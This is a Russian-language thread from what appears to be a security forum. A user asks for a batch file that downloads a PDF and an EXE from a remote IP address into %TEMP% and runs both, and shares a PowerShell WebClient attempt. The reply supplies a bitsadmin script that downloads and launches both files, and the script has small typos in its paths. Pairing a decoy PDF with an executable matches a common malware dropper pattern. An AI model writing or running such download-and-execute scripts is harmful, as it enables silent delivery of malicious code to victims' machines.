• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

как bat-файлом подгрузить с инета файл и исполнить его?

AlCat

Active member
30.10.2018
38
0
BIT
2
Файлы находятся по этим адресам http://xxx.xxx.xxx.xxx/12345.pdf и http://xxx.xxx.xxx.xxx/123.exe
Хочется написать батничек, который бы скачивал эти файлики в папку %TEMP% и отправлял их на исполнение.
Вроде бы это можно сделать с помощью powershell.
Был написан скрипт:

@echo off
Код:
set files='http://xxx.xxx.xxx.xxx/12345.pdf', 'http://xxx.xxx.xxx.xxx/123.exe'

powershell "(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
Пробовал на разных Win7 и 10. Где то срабатывает нормально, где то появляется ошибка типа "диск с именем http не существует". Сам не силен в powershell`е.
Прошу помощи в написании скрипта.
 

Proxy n1nja

Green Team
28.06.2018
118
149
BIT
0
Код:
@echo off
bitsadmin /transfer debjob /download /priority normal http://xxx.xxx.xxx.xxx/filename.pdf %temp%\filename.pdf
bitsadmin /transfer debjob /download /priority normal http://xxx.xxx.xxx.xxx/filename.exe %temp%\filename.exe
start %tempt%filename.pdf & start %temp%filename.exe
Отработает на всех версиях Windows которые выше XP т.к. в XP нет bitsadmin (насколько я помню, нет под рукой ХР что бы проверить)
Вообще можно все это сделать в одну строку, добавить в задание bitsadmin несколько файлов, запилить определение версии ос и в зависимости от разных версий грузить файлы разными способами, но сорян, мне лень писать это за тебя.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!